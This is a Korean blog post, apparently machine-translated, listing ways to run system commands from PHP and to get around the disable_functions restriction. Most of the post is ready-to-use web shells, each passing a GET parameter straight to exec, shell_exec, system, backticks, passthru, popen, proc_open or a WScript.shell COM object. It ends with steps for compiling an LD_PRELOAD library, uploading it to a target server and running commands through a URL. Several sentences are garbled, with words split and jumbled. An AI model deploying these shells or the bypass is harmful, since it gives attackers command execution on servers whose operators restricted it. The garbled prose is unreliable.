개발 꿀팁/PHP

PHP에서 시스템 명령 실행 (disable_functions 바이패스)

Jammie 2022. 7. 15. 16:53
반응형

카테고리

PHP에서 시스템 명령 실행

exec()

shell_exec()

시스템()

'$command'

passthru()

popen()

proc_open()

COM 컴포넌트

PHP에서 시스템 명령 실행
PHP에서 시스템 명령을 실행한다.다음 방법 또는 방법:

exec()
shell_exec()
`후아미
시스템()
passthru()
popen()
proc_open()
pcntl_exec(): pcn을 켜야 합니다tl 확장
COM 구성 요소: Wscript.Shell과 Shell.Application
dl(): 사용자 정의 php를 불러와 확장 d를 불러옵니다.isable_fucnitons 명령어제한
PHP 커널 변수를 사용하여 disable_fu 우회하기nctions, 패스배달문:PHP내 이용핵 변수 disabl 우회e_functions (전체 코드 첨부)
exec()
이 함수의 기본 반환값은 실행 결과의 첫 번째 줄입니다. 그렇지 않습니다.모든 집행 결과가 있다.실행 결과를 인쇄하려면,프린트 outpu 필요t 배열.

string exec ( string command, array &output, int &return_var)
    command 인자는 실행할 명령입니다
    output 배열은 출력 결과를 저장합니다.
    return_var 성형은 명령 실행 후 상태 코드를 저장하는 데 사용되며, 0은 실행 성공, 1은 실행 실패입니다
<?php
	$command=$_GET['command'];
	$ret=exec($command,$output,$a);
	echo $ret;					#기본값으로 첫 번째 줄 결과만 되돌려줍니다
	echo "<br>";
	echo "****************************************************";
	echo "<br>";
	echo "Status: ",$a;			#실행 상태 코드 출력
	echo "<br>";
	echo "****************************************************";
	$length=count($output);		#배열 길이
	for($i=0;$i<$length;$i++){
		echo $output[$i];
		echo "<br>";
	}
?>

shell_exec()

<?php
	$command=$_GET['command'];
	$ret=shell_exec($command);
	echo $ret;
?>

system() 

system(string  command , int & return_var)
    command 인자는 실행할 명령입니다,
    return_var 인자는 반환된 값을 저장합니다. 이 인자는 쓰지 않습니다
<?php
	$command=$_GET['command'];
	$ret=system($command);
	echo $ret;
?>

`$command`

<?php
	$command=$_GET['command'];
	$ret=`$command`;
	echo $ret;
?>

passthru()

<?php
	$command=$_GET['command'];
	passthru($command);
?>

popen()

popen ( string command, string mode )
    주어진 command 명령으로 생성된 프로세스를 가리키는 파이프라인을 엽니다. fopen() 에서 반환한 것과 같은 포인터를 되돌려줍니다. 단방향이며 pclose() 로 닫아야 합니다.이 포인터는 fgets(), fgetss(), fwrite() 에 사용할 수 있습니다
<?php
	$command=$_GET['command'];
	$fd = popen($command, 'r'); 
	while($s=fgets($fd)){
		print_r($s);
	}
?>

proc_open()

resource proc_open ( string cmd, array descriptorspec, array &pipes [, string cwd [, array env [, array other_options]]] )
<?php
	$command=$_GET['command'];
    $descriptorspec=array( 
        0=>array('pipe','r'), 
        1=>array('pipe','w'),
        2=>array('pipe','w') 
    );
    $handle=proc_open($command,$descriptorspec,$pipes,NULL);
    if(!is_resource($handle)){
    	die('proc_open failed');
    }
    while($s=fgets($pipes[1])){
    	print_r($s);
    }
    while($s=fgets($pipes[2])){
    	print_r($s);
    }
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($handle);
?>

COM 컴포넌트
php > 5.4 버전은 이 확장을 수동으로 추가해야 합니다

php.ini 파일에 다음과 같은 행을 추가합니다

그리고 phpinfo, 이 확장이 enable인지 확인합니다

enable 이후에는 다음과 같은 스크립트를 사용할 수 있습니다

<?php
$command=$_GET['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

Linux 시스템이 목표라면, 참조: GitHub - yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD: bypass disable_functions via LD_PRELOA (noneed/usr/sbin/sendmail)

프로젝트에 이미 작성된 so파일은 아래와 같이 컴파일 할 수 있습니다

# x64
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
# x86
gcc -shared  -m32 -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

php와 so를 모두 대상 서버에 업로드 한 후, 다음과 같이 접속하여 명령을 실행할 수 있습니다

http://x.x.x.x/bypass_disablefunc.php?cmd=id&outpath=/var/www/html/xxx&sopath=/var/www/html/bypass_disablefunc_x64.so

비고:outpath와 sopath는 동일한 디렉토리를 권장하며, outpath가 쓸 수 있는 권한이 없거나 업로드한 파일을 찾을 수 있는 디렉토리는 반드시 권한을 가집니다. GET는 추천하지 않으며 POST로 변경해서 제출하시면 더 안전합니다.

반응형

'개발 꿀팁 > PHP' 카테고리의 다른 글

LAMP 환경 구축 및 PHP 사이트 배포  (0) 2022.07.16
PHP8 신기능 소개  (0) 2022.07.16
mariadb 간단한 소개와 PHP 환경  (0) 2022.07.15
얘기 좀 하자~ PHP의 GC  (0) 2022.07.15
PHP 로케일 설정  (0) 2022.07.15